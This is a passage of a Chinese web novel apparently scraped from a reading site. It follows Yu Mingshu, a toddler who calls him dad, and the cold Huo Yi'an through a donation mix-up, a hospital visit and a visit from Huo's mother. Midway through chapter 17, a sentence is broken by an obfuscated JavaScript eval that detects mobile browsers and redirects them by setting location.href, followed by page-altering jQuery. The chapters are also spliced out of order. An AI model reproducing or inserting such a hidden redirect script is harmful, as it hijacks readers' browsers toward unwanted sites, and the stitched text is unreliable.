“拔拔!真嘟是拔拔!”崽子兴奋又得意地仰头对着“叔叔爹”挺了挺小胸脯,“宝就说不会看戳!” “叔叔爹”虽然有5.4的罕见视力,但认爸这一块,他西奥多就是无敌的! 见霍懿安完全不接茬,崽子哼了一声就急急倒腾着小短腿朝郁明殊冲去。 抱住爸爸的腿,才注意到昨晚的姨姨也在,他立即极尽乖软奶甜地跟汪姨姨问了好。 成年人的崩溃就是一瞬间,被崽子这么一打岔,汪晓青反倒很快恢复了,再苦再难她也不能倒下。 她立即擦干眼泪笑着对崽道:“宝宝你也来看小哥哥吗?” 崽子原本想摇头,转念一想他也不全是来看爸爸的,他是来帮爸爸解决问题的,说是来看小哥哥也可以。 崽刚一脸认真地点了点小脑袋,已经站起身的汪晓青注意到爸崽后面相当显眼的蓝眼金毛大高个。 外貌特征太明显,一看就知道是崽子的血亲:“……这是,谁送你来的呀?” 崽子想也没想便答道:“嘘嘘。” 汪晓青接受得十分丝滑,原来是孩子叔叔,难怪这么像。 郁明殊却听得一脸问号:爹地怎么突然变叔叔? 他好奇地看向霍懿安,这才发现霍懿安正一瞬不瞬地盯着自己,眼神一如往常那般冰冷,却又隐约透出许多复杂难明的情绪。 郁明殊此前虽然觉得霍懿安脑子不正常,但也的确感谢对方昨晚的帮助,还允许他陪崽睡了一晚,即便男人整个过程都表现得对他无比排斥…… 是以这会儿郁明殊的心情也很复杂,想蛐蛐又觉得不太好,想表里如一又真心忍不住。 但霍懿安这个眼神是什么意思? 这位金尊玉贵的大佛快要在他脸上盯出个窟窿了,尤其是视线对上后,霍懿安的复杂眸光中又多了一股怒意。 “……怎么了?” 虽然郁明殊努力压着情绪,尽量表现得耐心尊重,没直接问又怎么了?但语气中难免还是透着无奈和不解。 在霍懿安听来就像他在故意装无辜一般,冷肃的长眸微微眯起,但碍于汪晓青的存在,他暂时隐忍未发。 汪晓青本打算主动跟眼前高大英俊的大号金毛问好,但不同于乖软懂事的小金毛,对方全程没看她一眼,一张俊脸还冷得冒寒气。 更不要说这人气质凛然,周身透着股非比寻常的贵气,她就算再没眼色也知道该快点走了。 “既然孩子和叔叔一起来了,小郁你就甭管我了……” 话刚出口,正抱着爸爸腿幸福贴贴的崽子突然福至心灵,对啊,他差点把正事忘了! 小家伙朝着“叔叔爹”方向跺了跺小脚,然后仰起粉雕玉琢的小胖脸看向爸爸,根本不管当事爹是否同意了,直接奶声奶气汇报:“拔拔,嘘嘘要给姨姨家的小锅锅一百万!” 此话一出,在场三个大人都愣了。 汪晓青是既激动又难以置信,郁明殊是懊悔自己戴有色眼镜看人,实在有失偏颇! 霍懿安哪里是什么坏脾气大佛,一出手就是给小病患捐一百万,他就是神啊!! 郁明殊反应迅速,一把抓上男人的衣袖,无比激动地睁大灼灼明眸:“霍总,真是太感谢你了!您一定会好人有好报的!!!” 汪晓青其实还有点不敢信,毕竟一百万实在不是个小数目,哪怕是有钱人也未必愿意一下子出这么多,但不论最后能否落实,这一刻都值得她跪谢大恩。 霍懿安正被严重的肢体接触障碍和针对郁明殊的过敏反应所困扰,没等他抽出胳膊,呆立一旁的陌生女人就突然如鬼上身般,不仅涕泪横流还一把抱住他的小腿跪下了。 “谢谢您的大恩大德!我给恩人磕头了!我真是……” 霍懿安几乎要应激暴走,烧到沸腾蓝眸怒瞪向始作俑崽——西!奥!多!!! 17.第 17 章 霍懿安就这么莫名被崽子架了起来。 一百万对他来说又的确算不得什么,换成旁人也就顺水推舟做好事了,但他的内置程序有着相当严谨的运行标准。 简而言之,想道德绑架他?实属痴人说梦。 “我、从、未、同、意。”霍懿安强忍着没将扒着他的两人甩飞,磨着后槽牙一字一顿冷声否认。 郁明殊反应迅速,先将准备磕头的汪晓青扶了起来。 亲眼目睹沈家夫妇的艰难与心酸,他真的太希望孩子可以尽快筹够钱排仓移植,短时间内这般大起大落,说不失望是不可能的。 但他既能理解崽子因急于帮忙而擅自妄为,也能理解霍懿安这个局外人会直接拒绝。 他不露痕迹深呼吸调整表情,笑着打圆场:“原来是闹了乌龙啊。” 汪晓青同样失望,但相较于此前做梦般突然天降百万治疗费,霍懿安的拒绝才更符合实际,勉强挤出笑容跟着尬笑了两声。 始作俑崽则难以置信睁大了双眸,仿佛这一刻他才真切意识到,除了关于爸爸的事,一向对他有求必应的爹地真的完全变了。 两大一小各有各的僵硬,霍懿安却是其中最自如的,不仅视台阶于无物,还全程黑着脸在衣袖和裤腿间掸来掸去,试图缓解肢体接触障碍和系统性洁净强迫症。 他既不觉得自己怒而拒绝让场面变得异常尴尬,也不觉得他此刻的行为有多么不礼貌。 霍懿安自小到大的行事准则虽不是非黑即白,但也根本不存在善解人意、通情达理、迁就他人…… 丁是丁卯是卯,他只做他自己,更别说两人的接连碰触直接惹毛了他。 气氛如何从来不是身处高位者需要顾及的,而不论与生俱来的顶级天赋还是过人的家世,霍懿安身处任何场合都始终位居高台。 好在郁明殊手机及时响起,打破了僵滞的氛围。 沈铁峰通知他孩子醒了。 对郁明殊来说最佳选择就是马上回去拍摄,但这样就没法送汪晓青了。 刚刚一个电话耽误了不少时间,之后又闹了一场乌龙,郁明殊怕汪晓青赶不上和顾客约定的时间。 汪晓青却立即将他往楼梯上推:“哎呀你就不用管我了,我直接坐个公交就能到,早点拍完也能少耽误你的时间。” 说完就背着保洁工具小跑离开,生怕郁明殊追着要送她。 见状,郁明殊只好抱起崽子看向霍懿安。 既然霍懿安主动带崽子过来找他,应该是同意让他跟崽子相处的意思,但他还是无声征求了对方的意见。 霍懿安虽然脸色黑得仿佛随时能滴水,却配合地迈开长腿。 看向愿意亲自上楼的男人,郁明殊心下一松,竟生出一丝庆幸来。 不得不说,霍懿安实在是太与众不同了,他无法确定哪一脚会不慎触及对方雷区。 就这样,郁明殊抱着崽跟上了男人的步伐,安静了半晌的崽子突然搂住他脖子将小脸蛋凑了上来:“拔拔…对叭起……宝、宝以为…爹地会……” 不仅崽子蔫头耷脑,小奶音都蔫巴巴的,漂亮璀璨的蓝宝石桃花眼也因低垂的眼尾显得格外可怜。 郁明殊很想说没关系,这不是宝宝的错,但事实却并非如此。 虽然崽子也是好心办坏事,出发点是好的,但这样的事最好还是不要出发为好。 不过这是他第一次带崽,实在不懂得如何教育人类幼崽,迟疑片刻还是选择奖罚分明。 夸奖了崽子想要帮爸爸、帮小哥哥治病的爱意和善心,也否定了崽子自作主张让爹地为难的错误行径。 崽听得懵懵的,他自然是无比信任爸爸的,所以爸爸说他做错了那肯定是做错了。 但他不懂的是,为什么以前这么做没问题?同样的事情发生在从前,爹地和奶奶只会夸他善良又聪明,甚至还会觉得他金额说小了。 评价标准难以统一,令崽困惑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16636096|187644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,而他遵循旧例却做了错事,还被爸爸批评,令崽委屈。 他委屈的点并非在不知情的状态下犯错被批,而是他早就下定决心了,如果能让他再见到爸爸,他一定要当爸爸最乖的宝宝。 可才见到爸爸没两天,他就成了犯错的坏孩子! 虽然郁明殊全程都十分温柔,并没有严厉指责,但崽仍旧难受极了,努力忍了又忍,还是没忍住哗啦啦掉起小珍珠。 “拔拔呜——” “宝不系呜呜——” 郁明殊以为这崽是承受不住批评,顿时心疼又无奈,毕竟小家伙一看就是在极为优渥的环境中被娇养长大的。 虽然郁明殊是从崽子健康成长的角度考虑,觉得也许应该从一开始就跟崽讲明白,但他也只是个便宜叔叔,崽子的正经亲戚还在前面呢哪里有他置喙的份儿? 还是先缓一缓以后再说,崽子还小……虽然这也不是理由,但到底不是他的孩子…… 郁明殊正犹豫呢,就听怀中崽猛吸了吸小鼻子,然后才继续呜呜咽咽说道:“宝不系坏、坏蛋,宝错鸟呜呜呜……拔拔呜补要、补要不喜翻宝呜呜呜呜呜……” 哭得郁明殊心都要化了,立即抱紧怀中崽,原来是个说话大喘气的小哭包崽崽啊。 也不知是不是崽子太乖,哭起来又太可怜了,郁明殊之前再难过也只是鼻酸,这会儿却需要深吸气才勉强止住泪意。 不知为何,每每碰上崽子,他的泪腺就会变得异常发达,看崽掉泪他就忍不住心疼心酸。 一开口更是难掩哽咽:“不会的,嘟嘟永远是…是我最喜欢的宝宝!” 霍懿安听着身后传来的声音,不用回头也知道这一大一小又莫名其妙抱头痛哭起来。 事已至此,他也弄清崽子索要一百万的原委。 并非是他替郁明殊要的,而是给那女人重病中的孩子。 郁明殊一早就丢下崽子跑来拍摄,竟真的只是为了做好事……? 40-50 第41章 最初被郁平盛夫妻找上门时,霍云轻连个标点符号都不信。 直到她看到两人的相拥合照。 不过前有郁平盛夫妻厚颜攀附,后有霍懿安毫无异常的表现,霍云轻即便联想起三年前的旧事,对两人的关系也不过产生了三分疑影。 后来,先是霍懿安滞留国内,回到B国还反常地穿着带有小牙印的衣服,甚至在找固定心理医生看诊后又迅速飞走,她才又额外生出三分怀疑。 ……这小牙印,该不会是某个对她儿子产生严重影响的人……养的小狗咬的吧? 丈夫完全不信儿子会开窍,霍云轻也只能孤军奋战,没事就上网翻翻与郁明殊有关的消息。 然后她就在与郁明殊相关的新闻里,看到了熟悉的车子。 虽然全球限量一共有二十辆,被拍到的汽车未必就一定是霍懿安的那辆,但欧洋发出的广告旧照又让她想起了一段尘封已久的记忆。 霍云轻后知后觉,当年那个第一次让她儿子主动攀谈的陌生小朋友,竟然也是郁明殊。 而郁明殊虽然没养小狗,但身边一直跟着个小幼崽。 太多巧合叠加到一起,就绝对不是巧合,霍云轻的怀疑进一步从六分提升至九分。 哪怕A市今日的蒿属花粉浓度又冲新高,对蒿属花粉有着严重过敏问题的霍云轻还是回来了。 然而没等下飞机,就得知郁明殊和欧洋是一对,网上的分析帖个个说得有鼻子有眼,压根没霍懿安什么事,霍云轻差点直接原路返航。 但考虑到她折腾这么久飞回来一趟不易,怎么也要陪九十高龄的老父亲吃个早饭。 霍云轻是霍家这一辈唯一的女孩,又是幺女,不仅生得格外漂亮,还因自小体弱更得偏爱。 是以她虽然只说回来陪父亲吃顿便饭就走,她的三个亲哥还是一大早被老父亲抓来陪女儿团聚。 一家子至亲骨肉坐在一起,话题无非围绕霍云轻的身体,再就是霍云轻的独生子霍懿安了。 霍云轻惦记多日的想法落空,这顿难得的团圆饭也吃得没滋没味。 尤其是一想到她还顶着严重过敏的风险跑这一趟,结果一切都是她的胡思乱想。 也是,她就说她儿子怎么可能帮别人带孩子,还那么体贴带着孩子接郁明殊下班,是她想当然了,她就不该跟丈夫打赌…… 三哥霍云山突然开口:“懿安最近怎么突然注意起薛家了?” 霍云轻相当意外,而霍云山有此一问则是因近期薛家老爷子身体每况愈下,他作为曾经的合作伙伴如今分庭抗礼的竞争者,本就会多些关注并伺机而动。 霍懿安出手很隐蔽,如果不是霍云山长期盯着薛老爷子,是很难注意到这些的。 正因霍懿安出手隐蔽,而他又是那么个无法沟通的性子,霍云山不由得怀疑起外甥也要来分一杯羹。 商场无父子,霍家的家训便是各凭本事吃饭,要不是刚好碰上小妹回来,霍云山是不会为此特意打跨洋电话询问叨扰的。 没想到大哥霍云逸也开口了:“说起来懿安前两天还给懿宁打过电话,刚好我就在旁边。” “不过懿宁那家伙三棍子打不出一个响屁,我怎么问他都不说懿安是有什么事找他。” 霍懿安天生神经异常,虽然在霍云轻夫妻以及霍家一众至亲的不懈努力下,霍懿安的心里还是有他们的,但也仅止于此。 让霍懿安主动联系本就难如登天,更别说他这次联系的还是全家性子最闷的霍懿宁。 两件事在霍云轻看来都太反常了,是以没等吃完饭,霍云逸就遵循妹妹命令将长子骗来老宅。 霍云轻属于老来得女,大哥霍云逸的婚育年龄又比较早,是以霍云轻这个小姑姑也才比霍懿宁年长十岁。 霍懿宁虽然是长子嫡孙,但霍家从来不看这些。 霍老爷子在妻子怀第一胎的时候就给宝贝女儿起好了名字,结果却一连生了三个儿子,可以说霍家三兄弟的名字都是跟着尚未出生的妹妹起的。 而魔丸基因不会凭空产生,作为霍家这一代的传承者,霍云轻虽然因体质不能将磨人属性发挥到极致,但她的魔丸期一直蔓延到少女时代。 其中属霍懿宁深受其害,一出生就成了十岁小姑姑霍云轻的玩具,并在很长一段时间里都是霍云轻最忠诚的仆人。 即便如今霍懿宁也年近四十,依旧残留着被霍云轻支配的惯性。 霍云逸这个亲爹问不出的话,小姑姑一个眼神他就全交代了——是帮欧洋牵线。 霍云轻:嗯?! * 一睁眼天光大亮,已经接近九点,令霍懿安相当意外。 而更令他意外的是,枕畔的手机还在循环播放着郁明殊的牛奶广告。 前一晚的种种记忆顿如潮涌,霍懿安瞬间清醒。 郁明殊压根不记得他,三年前看他的那一眼似乎也没有其他含义,而背景图更是单纯出于迷信…… 他不仅误会了,还不死心的一再追问确认,放在别人身上早已尴尬得脚趾抠地,但霍懿安的关注点却都集中在自己的反常情绪上。 误以为郁明殊产生不该有的情愫时,霍懿安心里只有立即确认和马上斩断。 但当意识到事实与所想再次相悖时,他竟隐隐生出一丝愠意。 霍懿安不得不考虑,也许受到平行世界影响的人不是郁明殊,而是他自己。 男人眉头深锁,正仔细在心中盘点郁明殊给他带来的种种干扰,就被门外意料之外的声响打断。 “这个时间懿安还在睡??”霍云轻的声音听起来相当诧异。 霍懿安气息一滞,先将手机仍旧循环播放的广告视频关掉,并立即发消息给郁明殊,让他看好孩子不要出屋。 然后才在简单整理后若无其事推开房门,看向手持防花粉面具的母亲,眉头微蹙:“您怎么在这个时间过来?” 霍云轻连打了六七个喷嚏,清了清轻微干痒的喉咙,才装作全然无碍十分轻松地说道:“当然是想你外公外婆了,刚陪他们吃完饭顺路来看看你。” 霍懿安不信,母亲对蒿属花粉的过敏情况相当严重,以至于多年缺席外祖父的寿宴,不得不由他顶替上。 虽然外祖父对独女相当宽容,甚至去年还拖着年近九十高龄的身体飞去B国探望女儿。 但霍懿安确信如无十万火急的要事,母亲绝不会在这个时间出现在A市。 霍懿安压根不觉得自己对郁明殊做了多少引人怀疑的事情,面对母亲的异常表现,他第一个想到的可能就是崽子的存在被母亲察觉了。 虽然他行事还算谨慎,但百密终有一疏,他因长期失眠状态不佳忽略了崽子的牙印,他母亲的想象力又一向丰富…… 霍懿安不动声色打起十二分的警惕,语气一如从前:“您已经产生过敏症状了,既然看完了还是早些返航为上。” 霍云轻却一边咳嗽一边摆手:“你外婆最近身体不太好,我留下来陪陪她。” 这倒不是霍云轻凭空捏造,霍懿安的外祖父母感情好,虽然在当时的年代生的不算多,但也生了他们兄妹四个。 尽管有着多年来的精心养护,但老年肌肉萎缩进一步加重了生育损伤带来的影响。 霍云轻作为唯一的女儿,近几年没少飞回来陪母亲接受相关的锻炼和治疗,这些霍懿安都是知道的。 虽然母亲给出的理由十分合理,但霍懿安仍未放松分毫,准备告诉母亲既然已经看完他了,就早些回老宅陪外婆,不要铤而走险到处乱跑,增加触发严重过敏的可能性。 霍云轻却抢先开口:“我今天就在你这边住了。” 霍懿安:“?” “你也不是不知道你外公外婆有多么操心,我刚咳嗽两声就催我立即回去。”霍云轻相当从容不迫地编着瞎话。 任何事都具有两面性,虽然儿子神经异常难以建立母子间的心灵交流,但也因此不善转圜应变,尤其在霍云轻完全不留反应时间,一句接着一句夯实她行为的合理性。 “这边新装后我还没来过,听张秘书说这一整层都是低敏康体客房,配备的净化系统比家里的差不了多少……”霍云轻一边说着,一边若无其事打量起霍懿安所在房间。 在进入主卧前,她已经迅速检查完套房内的其他空间,虽然没找到想找的人,甚至连痕迹都没发现,但见儿子找不出合理理由赶人,脸色越憋越黑的模样,霍云轻还说觉得自己这一步走对了。 她立即笑着拍了拍儿子的肩膀:“放心,妈知道你注重私人空间,妈会选离你最远的那一套。” 霍懿安入住前就已经将酒店整层都包下了,霍云轻这么说倒也没错,但问题出在原本离霍懿安最远的那一套房间已经有人入住了。 偏偏母亲的每一步理由都相当合理,叫他无从反驳,若霍懿安强行拒绝,反倒会让来者不善的母亲加剧怀疑。 霍懿安警铃大作,cpu疾速运转起来。 但霍云轻一套闪电连招丝滑又迅速,说完就要往郁明殊和崽所在的房间走。 霍懿安虽然没想到合理借口,却也不能眼睁睁看着小崽子被母亲发现,索性一不做二仗着身高腿长,两步就挡住了霍云轻的去路。 “妈……”霍懿安难得卡壳。 霍云轻面上的笑容顿时又加深了几分:“怎么了?” “那个房间有问题……” 霍云轻配合惊讶了一下:“有什么问题?” 霍懿安突然后悔没有提前将酒店收购,那样他就可以随意栽赃酒店的深度净化流程不合格了。 很可惜,他没有。 这说起来也要怪郁明殊,准确来说是郁家夫妻,三年前让他对回国产生深深排斥,即便是外祖父整寿,他也不想过多停留……但现在想这些也于事无补。 霍懿安的天才大脑一再空转,霍云轻的笑容越发温柔开怀,就在这千钧一发之际,霍懿安的手机嗡的弹出一条消息—— 【是发生什么了吗?我们没在酒店,安安的移植提前了。】 同一时间,紧扒在郁明殊怀里的崽子支楞起小脑袋,撅着小嘴不满问道:“嘘嘘又几么啦?” 他好不容易跟爸爸单独出来,坏蛋臭叔叔爹怎么还远程跟他抢爸爸?! 作者有话要说: 下章含崽量超高[摸头] 第42章 霍懿安瞬间放松下来,空转的大脑也获得了新的灵感,他一本正经看向霍云轻:“这不好说。” “虽然所谓风水玄学都是些无稽之谈,但那间房的确让我失眠加重,相较于分析细节差异累加出的影响,我选择了最有效的方式直接换房。” 霍懿安自觉给出了满分答案,爸崽不在也让他信心倍增。 但霍云轻却笑着摆了摆手:“没事,我先住住看,离远些也不打扰你。” 事已至此,再拒绝难免更令人生疑,霍懿安只能以自己曾经住过为借口,在母亲入住之前让酒店员工将房间仔细清理一番。 好在这期间,霍云轻都十分配合,不仅没再要求去看房,还从容自然地陪儿子吃了顿早午饭。 虽然警报暂时解除,霍懿安仍将警惕心拉满,趁着安排工作之际,先让张秘书给爸崽二人安排了新住处。 * 虽然习惯了霍懿安的谜语人属性,但今天的消息尤为奇怪,尤其还涉及崽子。 郁明殊回完消息后半晌没收到回复,难免有些惦念。正犹豫要不要问下张秘书,张秘书的消息就弹了出来。 只不过张秘书也有些语焉不详,只说酒店这边出了一点小状况,让爸崽暂时不要回来,他会尽快安排新住宿。 郁明殊更加看不懂了,但他清楚自己不该有太多的好奇心,一切以霍懿安这个天使投资人的意见为准,所以立即回复了一个“好的!”。 崽子隔着玻璃跟安安聊了好半晌,因为话太密,小嘴巴都有点说干了,就转回身找爸爸要水喝。 发现爸爸对着手机屏幕蹙眉,就立即倒腾起小短腿一溜烟地飞扑过来,崽子一把抱住郁明殊的小腿,将小胖脸搭上膝头,让脸颊上本就弧度饱满的小奶膘嘟得更加明显。 夹紧的小奶音越发软萌:“拔拔~肿么啦~” 郁明殊一下就被崽子可爱到了,他笑着将崽抱起来:“没什么,只是秘书叔叔说我们今晚可能要换地方住了。” 崽子原本还在琢磨换地方住有什么值得爸爸皱眉看那么久的,是不是坏蛋叔叔爹又做什么坏事了?但小脑花一转,崽子先谨慎向爸爸确认“叔叔爹”是否一起转移? 得到否定答案后,湛蓝的大眼睛一下就亮了起来——世上还有介种好事?! 爹地终于放弃跟他抢爸爸啦!!! 以前是粘人精爹地,现在是坏蛋臭叔叔爹,虽然方方面面大不相同,但还是会借口谈正事,动不动就把爸爸叫走。 比如昨天!他都被坏蛋臭叔叔爹“踩伤”了,对方竟然还跟他抢爹地,偏偏他要做爸爸眼中的绝世好宝贝……他还是个不到三岁的宝宝,离开爸爸超过五分钟都会伤心的ok?! 现在好了,他终于可以跟爸爸离开坏蛋臭叔叔爹了! 崽子越想越喜不自胜眉飞色舞,恨不能在原地给爸爸舞上一曲,嘴上还要假鬼假怪地夹着小奶音说一句:“嘘嘘不去喔,有点点可惜捏~” 小家伙实在太可爱了,郁明殊没忍住捧起崽子的小胖脸贴了贴。 是啊,只要可以带着嘟嘟,换到哪里都是一样的。 不知觉间他已经变成有崽万事足,并越发感叹命运的多变,如果多年的凄风苦雨是为了换回今日的有崽相伴,即便让他重新选择,他还是会愿意踏上相同的道路,只要他能遇见毫无保留爱他,也是他最爱的嘟嘟崽就好。 至于其他,郁明殊别无所求。 毕竟一个嘟嘟,已经是曾经的他耗尽毕生幸运都难以换到的宝贝,他不会贪心也不敢贪心。 甚至对于嘟嘟,郁明殊也是在签约后才有了一定的踏实感,此前他觉得自己完全是个幸运的小偷,一直在窃取崽子对“爸爸”珍贵的爱意,而这份爱意随时会彻底消失。 现在,这种想法依旧没有改变,但起码与霍懿安有了可以落实在纸面上的关系。 如果哪一天嘟嘟真正的爸爸要收回嘟嘟,他还能通过霍懿安这个叔叔取得一丝与崽的联系。 这对他来说就足够了。 郁明殊越发温柔地抚了抚崽子柔软的发顶:“嘟嘟不和安安聊了吗?” 问完他突然想起了什么,看了眼时间又继续说道:“安安现在需要静养,就这么每天聊一小会儿也好。” 沈铁峰的身体条件不能捐,原本打算用汪晓青的骨髓进行移植,一方面是从骨髓库找供者要多花几万块的费用,另一方面也是一直没匹配上更合适的。 之前经济压力太大,虽然汪晓青作为已育女性更容易产生排异反应,但综合权衡一番,夫妻俩还是决定用家人骨髓。 没想到获得好心人的金钱支持后,复检低分辨筛查又找到了一个全合的捐献者,对方还立即给出了肯定答复。 刚好安安现在的状态不错,也就马上转移到无菌层流病房,直接开启正式移植前为期一周左右的预处理,也就是接受连续的、大剂量的化疗。 虽然儿童患者会允许一名家人全程陪同,整个过程对五岁孩子来说也是十分煎熬的。 郁明殊不用送外卖,新工作虽还没正式开始,但张秘书已经全权接手,他的直播工作也需要由张秘书出面和平台接洽一番。 难得可以休息,郁明殊便想着带崽来给安安鼓鼓劲,刚好他的校外住宿申请已经通过,顺便回宿舍把剩下的行李都打包带走。 崽子的话疗能量太充足,郁明殊也有点担心安安扛不住,就打算今天先转战宿舍,明天有时间再带崽来给安安探病。 一听要去爸爸的宿舍,崽以为要解锁新的爸崽同居地,立即积极响应:“好耶!那快肘叭~安安掰掰!~” 隔着十米远外加一道厚厚的玻璃墙,走心似箭的崽子便迫不及待地跟小伙伴远程挥手告别。 崽子的反应有趣又可爱,但郁明殊当然不能就这么带崽走了。 这会儿沈铁峰回家给安安准备专门的舱内饮食,他便抱着崽子走到玻璃墙边上和舱内陪护的汪晓青打了声招呼,这才带崽离开。 虽还没开学但也快了,这时间校内已经有不少提前返校的学生。 爸崽二人还是采取头盔口罩双重防护,好在他带崽出动得早,看完安安也才八点多,气温还没升上来。 宿舍里剩的东西也不多,大部分都被他提前搬到出租屋了。 郁明殊原本打算速战速决,但现在张秘书还没告诉他今天住在哪里,就打算带崽多停留一段时间。 郁明殊锁完车后见怀中崽十分好奇,宿舍楼这边又没什么人,便牵着崽慢悠悠逛了起来。 崽子上下左右看了又看,突然仰起小脑袋奶声问道:“介就是拔拔嘟幼鹅园?” 郁明殊刚冒出来一点漂泊无依的离愁别绪,瞬间就被崽子的童言童语给冲没了,他笑着问道:“嘟嘟还知道幼儿园呢?嘟嘟上过幼儿园吗?” 西奥多小朋友骄傲地挺了挺小胸脯:“米有喔!” 当然,让崽骄傲的点并非没上过幼儿园,而是他不仅知道幼儿园,还知道大学是什么,这只是他吸引爸爸注意力的小技巧罢了~ 只要爹地不在,他就是爸爸眼中唯一的宝!~ 果不其然,崽子这么一问,郁明殊就笑着解释起来。 爸崽二人边说边走,很快就到了郁明殊的宿舍门口。 郁明殊已经将钥匙提前拿了出来,没想到宿舍的门却是开着的。 他们室友之间没事是不会联络的,郁明殊也就短暂意外了一下,便敲门而入。 看到陆小南的时候,郁明殊脸上的笑容真挚了两分,主动打招呼道:“你这么早就回来了?” 郁明殊没什么朋友,现在勉强还能称得上朋友的大概就是陆小南了,他最开始找房子的时候,还向陆小南借过钱。 虽然陆小南不愿跟他产生太多牵扯,让他不需要还钱,但郁明殊还是很快将钱还给了对方。 寝室里四个人,只有陆小南算是真正的草根出身,刚好两人都有童星经历,所以大一的时候他们关系还算不错。 但随着经纪公司围绕着他身边人不断施压,别说陆小南了,就算是另两个有些家底的富二代室友都避他如瘟神。 陆小南对他还能保持点头之交,郁明殊已经很感谢了。 他能收到的善意不多,每一点都弥足珍贵。 陆小南大概也没料到他会这么早出现在寝室,看清来人后就愣住了,定定看着郁明殊。 陆小南其实一直有关注郁明殊的最新动向,在郁明殊没爆之前,大数据就将郁明殊的外卖vlog账号推给了他。 不过郁明殊一直没露脸,时隔两个月再相见,郁明殊的状态明显比之前好了许多。 虽然人依旧消瘦,但眉宇间化不开的浓雾已经被温软的笑意取代,变得……更让人移不开目光了。 再想到郁明殊这次能顶住皇世娱乐的迫害,再次有机会走到大众面前,一切都要归功于网传的CEO男友欧洋…… 陆小南看向郁明殊的目光越发复杂。 这种长时间不错眼珠的盯法,郁明殊近期不算陌生,但霍懿安的情况特殊,不仅这一点异于常人,方方面面都与众不同,是以接触至今,郁明殊在面对霍懿安时会尽量将过于敏锐的感知阀门关闭。 而对于其他人的凝视,哪怕只是短暂的几秒钟,郁明殊还是会下意识感到排斥。 就在郁明殊不露痕迹深吸气,打算笑着打趣一句,站在他侧后方的崽子突然闪至身前。 面对初见的爸爸室友,一向礼貌嘴甜的崽子却皱起了小眉头,略有些奶凶地问道:“里债看习么哇?” 崽子虽然继承了郁明殊的敏感天性,但两岁半还是严重缺乏经验,他只能感觉到对方眼神不对劲,却分辨不清是怎么不对劲。 但对崽来说,连爹地抢爸都受不了,更别说陌生人了,哪怕只是透露出一丝异样苗头都不行! 虽然崽子一直颇具存在感,但陆小南的注意力都被郁明殊吸走了,直到崽子发出奶凶质问,他才恍若初醒。 “抱歉,我没想到这个时间会有人来,昨晚拍完夜戏赶回来,脑子有些不清醒。” 郁明殊笑着将前一刻的异常揭过,先向陆小南介绍起崽子,又让崽子跟小南叔叔打招呼。 崽子湛蓝的大眼睛中警惕未退,但作为全世界最棒的宝宝,他相当丝滑切换到嘴甜乖崽模式:“里好喔~宝叫西奥多~” 同时心里小算盘不断——介个嘘嘘不对劲! 虽然宿舍条件远胜于郁明殊的出租房,但崽子突然一点都不想跟爸爸住到这边了。 ……与其跟陌生叔叔抢爸爸,还不如换回原装亲爹呢,他要把爸爸带回去! 第43章 就算郁明殊不介绍,陆小南也一早就知道这崽的存在,还知道对方是传说中的超级富家崽。 只不过陆小南更相信主流观点——郁明殊这次成功出位靠的是富豪男友,而富家崽小亲戚只是烟|雾|弹。 完全没想到郁明殊的这位小亲戚长得是真的很贵,一看就是赛级白人幼崽,更令他惊讶的是这崽除去过于明显的混血特征,五官轮廓长得几乎就是缩小版的郁明殊。 难道郁明殊还真找到了有钱的亲人?陆小南心底熄灭的火苗又噌的燃起。 陆小南在意识到自己喜欢郁明殊之前,就已经发现他根本没能力守护郁明殊,如果郁明殊真正的亲人能让他免于大人物的觊觎,也许他们之间还有可能! 这么想着,陆小南顿时便对眼前金发碧眼迷你版的小郁明殊产生了浓厚兴趣。 他蹲下身不仅露出最为友善的笑意,还不自觉夹起嗓子:“你好呀西奥多小朋友~我是小南叔叔~” 崽子却像是被陆小南突如其来的热情吓到了般,不仅退后半步,还怕生似的抱住了爸爸的腿:“拔拔,宝想爹地……” 突然变脆弱的小奶音甚至还带上几分哭腔,郁明殊也顾不上向一旁面露惊讶的室友解释,先抱起崽子柔声哄问道:“嘟嘟怎么了?要跟爹地打电话吗?” 崽将干爽的眼尾揉红,又吸了吸小鼻子,才哼哼唧唧点头说好。 虽然前有霍懿安让他们爸崽别出屋,后有张秘书提及的“酒店这边出了一点小状况”,但郁明殊一直和霍懿安有着某种接近默契的共识,崽子的问题一直都是两人心中第一顺位的要紧事。 所以郁明殊直接拨通了霍懿安的电话,递给崽子后他就打算向陆小南澄清一下这崽的称呼问题:“你别误会,我不是……” 刚开了个头,崽子就突然飙高小奶音打断:“爹地!!!!!” 好巧不巧对面也刚好接通了电话,一时间现场的郁明殊和陆小南,以及电话另一端的霍懿安都差点被这声奶音咆哮震聋了。 其中当属霍懿安的情况最为糟糕,因郁明殊音色温润柔和,虽动听但不够响亮清晰,霍懿安怕听不清就提前调高了音量,又怕被对面的母亲捕捉到蛛丝马迹,所以他将听筒扣得格外紧。 没曾想电话那端是小崽子,一声久违的“爹地”差点让霍懿安左耳失聪。 偏偏崽子越大声他越不能让母亲听到,只能将听筒紧紧扣在耳侧,闭上双眼,咬紧后槽牙,独自扛下小臭崽这一瞬的魔音贯耳。 霍懿安很快将音量重新调低,对面的崽子也恢复了正常音量:“爹地,宝想里啦!” 霍懿安正怀疑这次也是小臭崽的故意暗算,怎么会轻易相信这种鬼话? 而且这崽和郁明殊撒娇时声音总是嗲嗲的,到他这里哪怕是为达目的说些鬼话,声音也是脆脆的,相当明显的区别待遇以为他听不出来? 霍懿安面无表情:“嗯。” 虽然亲爹的态度冷淡又敷衍,但崽子对爹之坏早已心中有数,现在是两害相权才不得不找爹,他可是知道小不忍则乱大猫猫的聪明崽儿。 是以崽子瞄着爸爸要跟陌生叔叔解释的档口,再次发出奶音攻击:“爹地!宝和拔拔都想里啦!” 郁明殊顿时顾不上神色极为复杂的陆小南,伸手捂住崽嘴,凑到话筒旁解释:“我没有,是嘟嘟乱说的。” 郁明殊怕弄痛崽子,捂得一点都不严,崽子被捂住也能继续妖言惑爹:“嘟嘟米有乱说!拔拔回爹地信息看了好久好久捏!” 